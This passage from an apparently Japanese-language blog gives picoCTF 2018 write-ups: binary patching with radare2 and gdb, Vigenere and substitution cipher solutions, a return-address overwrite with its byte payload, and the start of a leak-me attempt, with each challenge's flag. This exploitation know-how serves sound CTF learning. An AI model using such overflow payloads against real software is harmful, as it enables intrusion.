    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
    cmp DWORD PTR [ebp+0x8],0xc8
    jne part_c
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
part_c:
    mov eax,DWORD PTR [ebp+0x8]   # eax に 0xc8 を代入
    add eax,0x3                   # eax に 0x3 を加算、 0xcb
                                  # jmp系命令は呼び出し元に戻ってこないので終了
part_d:
    pop ebp
    ret

flag: 0xcb
結構通らないところが多かった。

[Reversing] be-quick-or-be-dead-1 (200pt)

You find this when searching for some music, which leads you to be-quick-or-be-dead-1. Can you run it fast enough? You can also find the executable in /problems/be-quick-or-be-dead-1_3_aeb48854203a88fb1da963f41ae06a1c.

1つ目のリンク先がYoutubeだった・・・!2つ目のリンク先はファイル。

$ file be-quick-or-be-dead-1 
be-quick-or-be-dead-1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=909cc4117c2c766583b0633d70b84771e50160d6, not stripped

ということで実行ファイルのようです。shell server にもスクリプトがおいてあるので、shell server 側で実行してみる。

$ ./be-quick-or-be-d
ead-1
Be Quick Or Be Dead 1                                                                                           
=====================                                                                                           
                                                                                                                
Calculating key...                                                                                              
You need a faster machine. Bye bye.                                                           

速くしないと死んじゃう。ナンノコッチャ。問題のタイトルにもなっていますが。
Hintを見てみると

What will the key finally be?

最終的に key は何になるか? うーん、ナンノコッチャ。一応PVを見て、歌詞も読んでみたけど、蛇がなんちゃら quick or dead!! の繰り返しでようわからん。

Reversingなので、dumpファイルを見てみる。
今回は、Hopper というツールのDemo版を使ってみました。macに直接installして使ってみています。
Demo版だと30分の連続使用しかできないので、解読に時間がかかるとすぐ落ちます。あとはデバッガ機能は有償版じゃないと無いみたいです。
main関数から。

 main:
0000000000400827         push       rbp                                         ; End of unwind block (FDE at 0x400b7c), Begin of unwind block (FDE at 0x400b9c), DATA XREF=_start+29
0000000000400828         mov        rbp, rsp
000000000040082b         sub        rsp, 0x10
000000000040082f         mov        dword [rbp+var_4], edi
0000000000400832         mov        qword [rbp+var_10], rsi
0000000000400836         mov        eax, 0x0
000000000040083b         call       header                                      ; header
0000000000400840         mov        eax, 0x0
0000000000400845         call       set_timer                                   ; set_timer
000000000040084a         mov        eax, 0x0
000000000040084f         call       get_key                                     ; get_key
0000000000400854         mov        eax, 0x0
0000000000400859         call       print_flag                                  ; print_flag
000000000040085e         mov        eax, 0x0
0000000000400863         leave
0000000000400864         ret
                        ; endp
0000000000400865         align      16                                          ; End of unwind block (FDE at 0x400b9c)
  • header(): "Be Quick Or Be Dead 1" の表示
  • set_timer():
    • 詳細は見きれていないが、多分タイマーのセット
    • "You need a faster machine. Bye bye."の表示
  • get_key(): "Calculating key..." の表示
    • calucurate_key(): 下記に詳細
    • "Done calculating key" の表示
  • print_flag(): flagの出力。下記詳細

先程実行したときは、get_key() の中の、"Calculating key..." の表示はされているものの、その後に出てくるはずの "Done calculating key" は出てきませんでした。これが出てくる前に時間切れとなって終了になっています。
時間切れで表示される "You need a faster machine. Bye bye." は、 set_timer() から呼ばれる alarm_handler() 関数で表示されており、その後プロセスが終了するようになっています。

calcurate_key関数はこんな感じ。

                     calculate_key:
0000000000400706         push       rbp                                         ; End of unwind block (FDE at 0x400abc), Begin of unwind block (FDE at 0x400adc), CODE XREF=get_key+19
0000000000400707         mov        rbp, rsp
000000000040070a         mov        dword [rbp+var_4], 0x6fd47e3c

                     loc_400711:
0000000000400711         add        dword [rbp+var_4], 0x1                      ; CODE XREF=calculate_key+22
0000000000400715         cmp        dword [rbp+var_4], 0xdfa8fc78
000000000040071c         jne        loc_400711

000000000040071e         mov        eax, dword [rbp+var_4]
0000000000400721         pop        rbp
0000000000400722         ret
                        ; endp

謎のマジックナンバー 0x6fd47e3c0xdfa8fc78 が。
初期値 0x6fd47e3c の変数に対して、0xdfa8fc78になるまで 1 を足しまくっているように見える。ここが時間がかかっている原因の様子。

以上より、方法としてはぱっと3パターンありそう。(もっともっとあると思う)

  1. set_timer() を呼ばないように書き換え
  2. set_timer() で設定している秒数を伸ばすよう書き換え
  3. calcurate_key() の高速化

何れにせよ、バイナリを書き換えて実行する必要がある?

ここで方法がわからず。皆さんのwrite-upを見てみると radere2 というのがよく使われている様子。
picoCTF の shell server には install されていなかったので、ついにlocalで ELF 64-bit LSB executable を動かす時が来てしまったようです。なんとかgdbだけでやりきる方法もありそう。

ということで、今回は kali linuxMacVirtualBox に入れて見ました。最新のkaliだと、初期状態ですでに radare2 が入っているのでよろしい。

$ r2 -v
radare2 3.1.2 0 @ linux-x86-64 git.3.1.2
commit: HEAD build: 2018-12-11__11:34:51

1. set_timer() を呼ばないように書き換え

今回は1の方針で書き換えをしてみる。まずはデバッグ実行ありのモード (-d option) で該当プログラムを立ち上げ。

# r2 -d be-quick-or-be-dead-1 
Process with PID 2450 started...
= attach 2450 2450
bin.baddr 0x00400000
Using 0x400000
asm.bits 64

分析してもらいます。

[0x7f68ebf92090]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[TOFIX: afta can't run in debugger mode.ions (afta)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
= attach 2450 2450
2450

main関数があるのは確認済みなのでmain関数に飛び、disassemble結果を表示します。

[0x7f68ebf92090]> s main
[0x00400827]> pdf
            ;-- main:
/ (fcn) sym.main 62
|   sym.main (int argc, char **argv, char **envp);
|           ; var int local_10h @ rbp-0x10
|           ; var int local_4h @ rbp-0x4
|           ; arg int argc @ rdi
|           ; arg char **argv @ rsi
|           ; DATA XREF from entry0 (0x4005bd)
|           0x00400827      55             push rbp
|           0x00400828      4889e5         mov rbp, rsp
|           0x0040082b      4883ec10       sub rsp, 0x10
|           0x0040082f      897dfc         mov dword [local_4h], edi   ; argc
|           0x00400832      488975f0       mov qword [local_10h], rsi  ; argv
|           0x00400836      b800000000     mov eax, 0
|           0x0040083b      e8a9ffffff     call sym.header
|           0x00400840      b800000000     mov eax, 0
|           0x00400845      e8f8feffff     call sym.set_timer
|           0x0040084a      b800000000     mov eax, 0
|           0x0040084f      e842ffffff     call sym.get_key
|           0x00400854      b800000000     mov eax, 0
|           0x00400859      e863ffffff     call sym.print_flag
|           0x0040085e      b800000000     mov eax, 0
|           0x00400863      c9             leave
\           0x00400864      c3             ret

色付きでめっちゃわかりやすい・・・。感動。もう絶対アセンブリ系出たらこれ使うわ。

f:id:kusuwada:20190304034806p:plain

set_timer() を呼ばないように書き換え

を実現するために、set_timerを呼び出している行に移動します。
wao コマンドで、デバッグ時のコマンド書き換えができるようなので、これを使います。

wao[?] op modify opcode (change conditional of jump. nop, etc)

今回は nop が他に指定がいらないので簡単そう。書き換えたコードは、再度 pdf コマンドで確認できます。

[0x00400827]> s 0x00400845
[0x00400845]> wao nop
[0x00400845]> pdf
            ;-- main:
/ (fcn) sym.main 62
|   sym.main (int argc, char **argv, char **envp);
|           ; var int local_10h @ rbp-0x10
|           ; var int local_4h @ rbp-0x4
|           ; arg int argc @ rdi
|           ; arg char **argv @ rsi
|           ; DATA XREF from entry0 (0x4005bd)
|           0x00400827      55             push rbp
|           0x00400828      4889e5         mov rbp, rsp
|           0x0040082b      4883ec10       sub rsp, 0x10
|           0x0040082f      897dfc         mov dword [local_4h], edi   ; argc
|           0x00400832      488975f0       mov qword [local_10h], rsi  ; argv
|           0x00400836      b800000000     mov eax, 0
|           0x0040083b      e8a9ffffff     call sym.header
|           0x00400840      b800000000     mov eax, 0
|           0x00400845      90             nop
..
|           0x0040084a      b800000000     mov eax, 0
|           0x0040084f      e842ffffff     call sym.get_key
|           0x00400854      b800000000     mov eax, 0
|           0x00400859      e863ffffff     call sym.print_flag
|           0x0040085e      b800000000     mov eax, 0
|           0x00400863      c9             leave
\           0x00400864      c3             ret

デバッグモードの実行は dc コマンド。

dc[?] Continue execution

[0x00400845]> dc
Be Quick Or Be Dead 1
=====================

Calculating key...
Done calculating key
Printing flag:
picoCTF{why_bother_doing_unnecessary_computation_27f28e71}

ちょい待ったらちゃんとflagが出ました!
めっちゃ快適・・・。なんかReverse問題解くのが少し楽しくなりそう。少し…。

3. calcurate_key() の高速化

調子に乗って、3. calcurate_key() の高速化 もやってみちゃいます。

calcurate_key まで飛びます。

[0x00400827]> s sym.get_key
[0x00400796]> pdf
/ (fcn) sym.get_key 43
|   sym.get_key ();
|           ; CALL XREF from sym.main (0x40084f)
|           0x00400796      55             push rbp
|           0x00400797      4889e5         mov rbp, rsp
|           0x0040079a      bf88094000     mov edi, str.Calculating_key... ; 0x400988 ; "Calculating key..."
|           0x0040079f      e88cfdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004007a4      b800000000     mov eax, 0
|           0x004007a9      e858ffffff     call sym.calculate_key
|           0x004007ae      89050c092000   mov dword [obj.key], eax    ; obj.__TMC_END ; [0x6010c0:4]=0
|           0x004007b4      bf9b094000     mov edi, str.Done_calculating_key ; 0x40099b ; "Done calculating key"
|           0x004007b9      e872fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004007be      90             nop
|           0x004007bf      5d             pop rbp
\           0x004007c0      c3             ret
[0x00400796]> s sym.calculate_key
[0x00400706]> pdf
/ (fcn) sym.calculate_key 29
|   sym.calculate_key ();
|           ; var int local_4h @ rbp-0x4
|           ; CALL XREF from sym.get_key (0x4007a9)
|           0x00400706      55             push rbp
|           0x00400707      4889e5         mov rbp, rsp
|           0x0040070a      c745fc156586.  mov dword [local_4h], 0xeb866515
|       .-> 0x00400711      8345fc01       add dword [local_4h], 1
|       :   0x00400715      817dfc78fca8.  cmp dword [local_4h], 0xdfa8fc78
|       `=< 0x0040071c      75f3           jne 0x400711
|           0x0040071e      8b45fc         mov eax, dword [local_4h]
|           0x00400721      5d             pop rbp
\           0x00400722      c3             ret

0x0040070a の時点で 1 を足したら 0xdfa8fc78 になるようにしておけば高速化されるはず。

[0x00400706]> s 0x0040070a
[0x0040070a]> pd 1
|           0x0040070a      c745fc156586.  mov dword [local_4h], 0xeb866515
[0x0040070a]> wa mov dword [rbp-0x4], 0xdfa8f8c77
Written 7 byte(s) (mov dword [rbp-0x4], 0xdfa8f8c77) = wx c745fc778c8ffa

この状態で上と同じく dc で実行すると、flagが取れました。

gdbだけでやりきりたい!

ちなみにgdbだけでやりきる方法として、下記を参考に途中で受けるSIGNALを全部無視する設定にして実行してみた。
GDB: 5.3 シグナル

$ gdb be-quick-or-be-dead-1
(gdb) handle all ignore
~~中略~~
Signal        Stop  Print   Pass to program Description
~~中略~~
SIGALRM       No    No  No      Alarm clock
~~中略~~
(gdb) run                                                                                                       
Starting program: /problems/be-quick-or-be-dead-1_3_aeb48854203a88fb1da963f41ae06a1c/be-quick-or-be-dead-1      
Be Quick Or Be Dead 1                                                                                           
=====================                                                                                           
                                                                                                                
Calculating key...                                                                                              
Done calculating key                                                                                            
Printing flag:                                                                                                  
picoCTF{why_bother_doing_unnecessary_computation_27f28e71}                                                      
[Inferior 1 (process 11448) exited normally]

取れた٩(๑❛ᴗ❛๑)۶ 
今回は、radare2実行時に SIGALRM が呼ばれることがわかったので上記出力ではSIGALRMをチェックしていますが、コマンドとしては SIGNAL全部無視して なので何者にも邪魔されずプログラムが走りきるはず。
この方法なら picoCTF の shell server 上でも動かせたので、特別なlocal環境は不要でした。

[Crypto] blaise's cipher (200pt)

My buddy Blaise told me he learned about this cool cipher invented by a guy also named Blaise! Can you figure out what it says? Connect with nc 2018shell.picoctf.com 11281.

指定のurlにアクセスしてみる。

$ nc 2018shell.picoctf.com 11281
Encrypted message:
Yse lncsz bplr-izcarpnzjo dkxnroueius zf g uzlefwpnfmeznn cousex bls ltcmaqltki my Rjzn Hfetoxea Gqmexyt axtfnj 1467 fyd axpd g rptgq nivmpr jndc zt dwoynh hjewkjy cousex fwpnfmezx. Llhjcto'x dyyypm uswy ybttimpd gqahggpty fqtkw debjcar bzrjx, lnj xhizhsey bprk nydohltki my cwttosr tnj wezypr uk ehk hzrxjdpusoitl llvmlbky tn zmp cousexypxz. Qltkw, tn 1508, Ptsatsps Zwttnjxiax, tn nnd wuwv Puqtgxfahof, tnbjytki ehk ylbaql rkhea, g hciznnar hzmvtyety zf zmp Volpnkwp cousex. Yse Zwttnjxiax nivmpr, nthebjc, otqj pxtgijjo a vwzgxjdsoap, roltd, gso pxjoiiylbrj dyyypm ltc scnecnnyg hjewkjy cousex fwpnfmezx.

Hhgy ts tth ktthn gx ehk Atgksprk htpnjc wgx zroltngqwy jjdcxnmej gj Gotgat Gltzndtg Gplrfdo os siy 1553 gzoq Ql cokca jjw. Sol. Riualn Hfetoxea Hjwlgxz. Hk gfiry fpus ehk ylbaql rkhea uk Eroysesnfs, hze ajipd g wppkfeitl "noaseexxtgt" (f vee) yz scnecn htpnjc arusahjes kapre qptzjc. Wnjcegx Llhjcto fyd Zwttnjxiax fski l focpd vfetkwy ol xfbyyttaytotx, Merqlsu'x dcnjxe sjlnz yse vfetkwy ol xfbyyttaytotx noaqo bk jlsoqj cnfygki disuwy hd derjntosr a tjh kkd. Veex hexj eyvnnarqj sosrlk bzrjx zr ymzrz usrgxps, qszwt yz buys pgweikx tn gigathp, ox ycatxxizypd "uze ol glnj" fwotl hizm ehk rpsyfre. Hjwlgxz's sjehui ehax cewztrki dtxtyg yjnuxney ltc otqj tnj vee. Fd iz nd rkqltoaple jlse yz skhfrk f dhuwe kkd ahxfde, yfj be f arkatoax aroaltk hznbjcsgytot, Gplrfdo'y xjszjx wgx notxtdkwlbrd xoxj deizce.

Hqliyj oe Bnretjce vzmloxsej mts jjdcxnatoty ol f disnwax gft yycotlpr gzeoqjj cousex gpfuwp tnj noawe ol Mpnxd TIO tq Fxfyck, ny 1586. Lgypr, os ehk 19ys ckseuxd, ehk nyvkseius zf Hjwlgxz's inahkw hay rtsgyerogftki eo Bnretjce. Jfgij Plht ny hox moup Ehk Hzdkgcegppry qlmkseej yse sndazycihzeius my yfjitl ehgy siyyzre mld "olyoxjo tnnd isuzrzfyt itytxnmuznzn gso itxeegi yasjo a xjrrkxdibj lnj jwesjytgwj cousex kzr nnx [Volpnkwp] tntfgn mp hgi yozmtnm yz du bttn ne". pohzCZK{g1gt3w3_n1pn3wd_ax3s7_maj_5352gq72}

Tnj Gimjyexj nivmpr mftnki l rkuftgytot kzr hjtnm jickueiusllrd dtxtyg. Tteej fftntc ati xazmpmgytcofy Cnfclkx Wuzbtdmj Oojldot (Qpwox Naxwzlr) hllrjo tnj Gimjyexj nivmpr asmrkfvahqp it mts 1868 vnpck "Yse Gqahggpt Inahkw" tn g hsiricet'x xamfkitj. Tn 1917, Yhtetytfoh Lmkwtcgs oeyhcihjo tnj Gimjyexj nivmpr gx "tmvtdsogwe uk ergsdlgytot". Ysiy wppayltoty wgx yoz ipskwgej. Hsaxqps Hfmbglp iy pyocs eo nfge hwzkks l vgwtaty zf zmp cousex fd egwwy gx 1854; socjgex, mp doiy't vzmloxs hox hoxp. Vayndko jytowple gcoqj ehk htpnjc ati auhqtsnjo tnj eeimyiwzp it yse 19zm netyfre. Jget gpfuwp tnnd, tntfgn, xzmk xvirqpd iwjpzfyarddty hzuri zcifdiusllrd mrkfv tnj nivmpr os ehk 16ys ckseuxd.

Nreueomwlpnnn srnoe xzwe axpd gx l cgqnurfeius lij gj tnj Dwoxd Axrj bkyheks 1914 lnj 1940.
Yse Bnretjce inahkw ts ynxprj pnuzrh zt me g kteri nivmpr ok tt ox fski tn ityjasntoty woys cousex itsqx. Ehk Hznljoexfee Yyltkx zf Grprohl, fuw pxgralk, zdej f mrgxd cousex itsq yz isuwesjyt zmp Volpnkwp cousex ifrosr tnj Lmkwtcgs Nibnw Wgw. Ehk Hznljoexfny'y rpsyfrey bprk klr lwzm yjnrky lnj yse Astot wpgaqlrrd nrghvej yseow xeyxlgkx. Ehxtfgntft zmp wgw, ehk Hznljoexfee rjldkwdhou arorlroqj rkqtej zaot ysrkj vee usrgxps, "Sfycnjdtkw Mlakq", "Curalkyp Voheoxd" lnj, fd tnj hax hlmk yz a iqzsk, "Hzmk Wptxnmuznzn".

Mnwbkwe Vkwyas yciki eo xjaaow ehk gcoqjy cousex (hcegytnm yse Bjcngr–Gimjyexj nivmpr os 1918), muz, sz mgyeex bsaz mp doi, ehk htpnjc wgx dtoqw vaqyexfmlk yz cxdatgsllexts. Bjcngr'd wuwv, hubpvkw, pvkseugqwy rjo tu yse usp-torp pgi, l tnjzrkytcgqwy asmrkfvahqp cousex.

あれ、このパターンさっきもやったぞ。また換字暗号かな?
そしてなんだかFlagっぽい形式の部分が。 pohzCZK{g1gt3w3_n1pn3wd_ax3s7_maj_5352gq72}

もう一つのヒントとして、blaise という人が開発した暗号、というのがあった。知らないぞ?と思い、ググってみる。もちろん write-up が引っかからないように blaise cipher -picoCTFググる
と、ヴィジュネル暗号がヒット。なんと、ヴィジュネルさん、ブレーズ・ド・ヴィジュネル という名前らしい。知らなかった!

ヴィジュネル暗号 - Wikipedia

ヴィジュネル暗号では、鍵の周期とずらす数(鍵)がわかっていないと解読できない。今回は、flagっぽい部分を見て、鍵を推測する。

plain: picoCTF encrypt: pohzCZK

なので、ずらし幅は 0, 6, 5, 11, 0, 6, 5 となり、 [0, 6, 5, 11] の4文字周期と考えられる。
あとは、これを原文に突っ込むプログラムを書いて終わり。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import string
import pprint

## solve Vigenere cipher

encrypted_file = "encrypted.txt"
key = "flag"

def vigenere(c, shift):
    return alphabet[(alphabet.index(c) - alphabet.index(shift)) % 26]

with open(encrypted_file, "r") as f:
    encrypted = f.read()

alphabet = list(string.ascii_lowercase)

plain = ""
count = 0
for c in encrypted:
    shift = key[count % len(key)]
    if c.isupper():
        plain += vigenere(c.lower(), shift).upper()
        count += 1
    elif c.islower():
        plain += vigenere(c, shift)
        count += 1
    else:
        plain += c
print(plain)

keyは4文字周期でどこから始まるかわからなかったため、並べ替えてそれっぽくなるのを探しました。
というか、候補が [a, g, f, l] だったので flag だな、と。

出力結果

$ python solve.py 
The first well-documented description of a polyalphabetic cipher was formulated by Leon Battista Alberti around 1467 and used a metal cipher disc to switch between cipher alphabets. Alberti's system only switched alphabets after several words, and switches were indicated by writing the letter of the corresponding alphabet in the ciphertext. Later, in 1508, Johannes Trithemius, in his work Poligraphia, invented the tabula recta, a critical component of the Vigenere cipher. The Trithemius cipher, however, only provided a progressive, rigid, and predictable system for switching between cipher alphabets.

What is now known as the Vigenere cipher was originally described by Giovan Battista Bellaso in his 1553 book La cifra del. Sig. Giovan Battista Bellaso. He built upon the tabula recta of Trithemius, but added a repeating "countersign" (a key) to switch cipher alphabets every letter. Whereas Alberti and Trithemius used a fixed pattern of substitutions, Bellaso's scheme meant the pattern of substitutions could be easily changed simply by selecting a new key. Keys were typically single words or short phrases, known to both parties in advance, or transmitted "out of band" along with the message. Bellaso's method thus required strong security for only the key. As it is relatively easy to secure a short key phrase, say by a previous private conversation, Bellaso's system was considerably more secure.

Blaise de Vigenere published his description of a similar but stronger autokey cipher before the court of Henry III of France, in 1586. Later, in the 19th century, the invention of Bellaso's cipher was misattributed to Vigenere. David Kahn in his book The Codebreakers lamented the misattribution by saying that history had "ignored this important contribution and instead named a regressive and elementary cipher for him [Vigenere] though he had nothing to do with it". picoCTF{v1gn3r3_c1ph3rs_ar3n7_bad_5352bf72}

The Vigenere cipher gained a reputation for being exceptionally strong. Noted author and mathematician Charles Lutwidge Dodgson (Lewis Carroll) called the Vigenere cipher unbreakable in his 1868 piece "The Alphabet Cipher" in a children's magazine. In 1917, Scientific American described the Vigenere cipher as "impossible of translation". This reputation was not deserved. Charles Babbage is known to have broken a variant of the cipher as early as 1854; however, he didn't publish his work. Kasiski entirely broke the cipher and published the technique in the 19th century. Even before this, though, some skilled cryptanalysts could occasionally break the cipher in the 16th century.

Cryptographic slide rule used as a calculation aid by the Swiss Army between 1914 and 1940.
The Vigenere cipher is simple enough to be a field cipher if it is used in conjunction with cipher disks. The Confederate States of America, for example, used a brass cipher disk to implement the Vigenere cipher during the American Civil War. The Confederacy's messages were far from secret and the Union regularly cracked their messages. Throughout the war, the Confederate leadership primarily relied upon three key phrases, "Manchester Bluff", "Complete Victory" and, as the war came to a close, "Come Retribution".

Gilbert Vernam tried to repair the broken cipher (creating the Vernam–Vigenere cipher in 1918), but, no matter what he did, the cipher was still vulnerable to cryptanalysis. Vernam's work, however, eventually led to the one-time pad, a theoretically unbreakable cipher.

全文やる必要はまったくなかったけど。

[Binary] buffer overflow 1 (200pt)

Okay now you're cooking! This time can you overflow the buffer and return to the flag function in this program? You can find it in /problems/buffer-overflow-1_0_787812af44ed1f8151c893455eb1a613 on the shell server. Source.

リンク先のプログラムはこちら

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

実行ファイルはこちら

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=98eac1e5bfaa95437b28e069a343f3c3a7b9e800, not stripped

こちらも前回同様、同じフォルダにある flag.txt を見に行くようなので shell server 上で実行。
win() 関数を呼び出すことができれば、flagが表示されるようです。今回も gets(buf) の部分に buffer overflow の脆弱性が。
まずは buffer overflow させる input で実行してみる。

$ ./vuln                
Please enter your string:                                                                                       
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa         
Okay, time to return... Fingers Crossed... Jumping to 0x61616161                                                
Segmentation fault (core dumped)                            

Junping to の向き先が入力の a の16進数 0x61 で埋まっている。溢れたらreturn addressを上書きするらしい。
ちなみに、通常のinputだと。

$ ./vuln                
Please enter your string:                                                                                       
test                                                                                                            
Okay, time to return... Fingers Crossed... Jumping to 0x80486b3  

Jumping to はちゃんとアドレスっぽい値になっている。
ので、 win() 関数のアドレスでreturn値を上書きし、直後に呼び出してやれば良さそう。

…どうやって?

まず、elfファイルの解析を真面目にやったことがあまりない & PC移行したてでまっ更だったので、elfファイルの解析に便利なコマンド readelfobjdumpMac上で動かすよう環境整備。

Mac (OS X) 環境に binutils を入れる - Qiita

セットアップにちょい詰まったのでメモっておいた。

Hintにエンディアンについて触れてあったので、それの確認も込みで readelf コマンドで詳細を確認。

$ greadelf -h vuln
ELF ヘッダ:
  マジック:  7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  クラス:                            ELF32
  データ:                            2 の補数、リトルエンディアン
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI バージョン:                    0
  型:                                EXEC (実行可能ファイル)
  マシン:                            Intel 80386
  バージョン:                        0x1
  エントリポイントアドレス:          0x80484d0
  プログラムヘッダ始点:            52 (バイト)
  セクションヘッダ始点:              6504 (バイト)
  フラグ:                            0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         9
  Size of section headers:           40 (bytes)
  Number of section headers:         31
  Section header string table index: 28

トルエンディアンらしいです。
objdumpで逆アセンブリし、win()関数のアドレスを検索

$ gobjdump -d vuln | grep win
080485cb <win>:
 80485ed:   75 1a                   jne    8048609 <win+0x3e>

0x080485cb っぽいですね。
トルエンディアンなので、このアドレスを little endian に直すと \xcb\x85\x04\x08

vuln関数の中の下記部分で、 2行目の eax が、直後の gets() の引数。その前に、ebpのアドレスから0x28前のアドレスがeaxに格納されているので、ebpの0x28前がbufferの先頭アドレスとなる。

 8048638:    8d 45 d8                lea    -0x28(%ebp),%eax
 804863b:   50                      push   %eax
 804863c:   e8 ef fd ff ff          call   8048430 <gets@plt>
eax    | buffer start |
       | <0x28 bytes> |
       | buffer end   |
ebp    | <0x4 bytes>  |
return |              |

最後stackにはebpの4バイトが積まれているはずなので、0x28 + 0x4 = 0x2c (=44) バイトから先が、戻りアドレスに溢れてくる。
ということで、44バイトを何某かで埋めてやり、先程の win関数の アドレスをinputする。

$ echo -e "aaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcb\x85\x04\x08" | ./vuln
Please enter your string:                                                                                       
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb                                                 
picoCTF{addr3ss3s_ar3_3asy3656a9b3}Segmentation fault (core dumped)                       

※ -e option は16進数表記部分のエスケープコードを有効にするため

[Crypto] hertz 2 (200pt)

This flag has been encrypted with some kind of cipher, can you decrypt it? Connect with nc 2018shell.picoctf.com 59771.

指定のホストにアクセス。短い。

$ nc 2018shell.picoctf.com 59771
Let's decode this now!
Cja dsvfm ibqxw yqo rslng qpab cja uhze kqt. V fhw'c iauvapa cjvg vg gsfj hw ahge nbqiual vw Nvfq. Vc'g hulqgc hg vy V gqupak h nbqiual hubahke! Qmhe, yvwa. Jaba'g cja yuht: nvfqFCY{gsigcvcscvqw_fvnjabg_hba_cqq_ahge_geiajvfvbi}

hertz 1 は 単一換字暗号 だったのですが、今回もかな?とりあえず力技。最後の行がフラグっぽいのでここを頼りに。

yuht: nvfqFCY -> flag: picoCTF

と仮定。あとは単語を埋めながら。変換表は下記のようになりました。※変換前の文を全部小文字、変換後を大文字としています。

a -> E
b -> R
c -> T
d -> Q
e -> Y
f -> C
g -> S
h -> A
i -> B
j -> H
k -> D
l -> M
m -> K
n -> p
o -> X
p -> V
q -> O
r -> J
s -> U
t -> G
u -> L
v -> I
w -> N
x -> W
y -> F
z -> Z

全部変換し終えるとこんな文が。

THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG. I CAN'T BELIEVE THIS IS SUCH AN EASY PROBLEM IN PICO. IT'S ALMOST AS IF I SOLVED A PROBLEM ALREADY! OKAY, FINE. HERE'S THE FLAG: PICOCTF{SUBSTITUTION_CIPHERS_ARE_TOO_EASY_SYBEHICIRB}

※ flag部分はもとの大文字小文字に従って大文字小文字変換してやります。
最初の文はwikipediaにも載っていました。

英語のパングラムの一つであり、タイプライターやコンピュータのキーボードの試験などによく用いられる。quick brown fox(クイック・ブラウン・フォックス)と略して呼称することが多い。パングラムとは、ラテン文字のアルファベット26字をすべて用い、かつ重複をなるべく少なくした短文のこと。

フォントのサンプルにもよく用いられるらしいです。暗号文にはぴったり!

[Binary] leak-me (200pt)

Can you authenticate to this service and get the flag? Connect with nc 2018shell.picoctf.com 31045. Source.

Sourceはこちら。 auth.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
  return 0;
}


int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  
  // real pw: 
  FILE *file;
  char password[64];
  char name[256];
  char password_input[64];
  
  memset(password, 0, sizeof(password));
  memset(name, 0, sizeof(name));
  memset(password_input, 0, sizeof(password_input));
  
  printf("What is your name?\n");
  
  fgets(name, sizeof(name), stdin);
  char *end = strchr(name, '\n');
  if (end != NULL) {
    *end = '\x00';
  }

  strcat(name, ",\nPlease Enter the Password.");

  file = fopen("password.txt", "r");
  if (file == NULL) {
    printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(password, sizeof(password), file);

  printf("Hello ");
  puts(name);

  fgets(password_input, sizeof(password_input), stdin);
  password_input[sizeof(password_input)] = '\x00';
  
  if (!strcmp(password_input, password)) {
    flag();
  }
  else {
    printf("Incorrect Password!\n");
  }
  return 0;
}

まずはあたって砕けてみます。このパターンだと、配布されたコードとバイナリが、指定されたホストのサーバーで可動していて、コードとバイナリを解析した攻撃をサーバーにかますとflagが取れるはず。
雰囲気掴むために突撃してみる。

$ nc 2018shell.picoctf.com 31045
What is your name?
admin
Hello admin,
Please Enter the Password.
admin
Incorrect Password!

username と password を聞かれるらしい。authだからそれはそうか。
cのコードを眺めてみる。
また buffer overflow の脆弱性がありそう。入力値の namepassword_input が怪しい。

最終的に、パスワードが途中でファイル(password.txt)から読み込んでいる文字列と一致したらflagが出力される様子。
パスワードファイルの読み込みが不自然なところに書かれているのが気になる。また、おそらくパスワードファイルの中身がどこかで取得できる気がするのだけども、攻撃対象になりそうな出力は

puts(name)

の部分。ちゃんと解析してやったほうが良さそうだが、なんとなく name の input でオーバーフローさせると password が出力され、 その password を使ってログインすると良いんじゃない?と推測。

$ nc 2018shell.picoctf.com 31045
What is your name?a
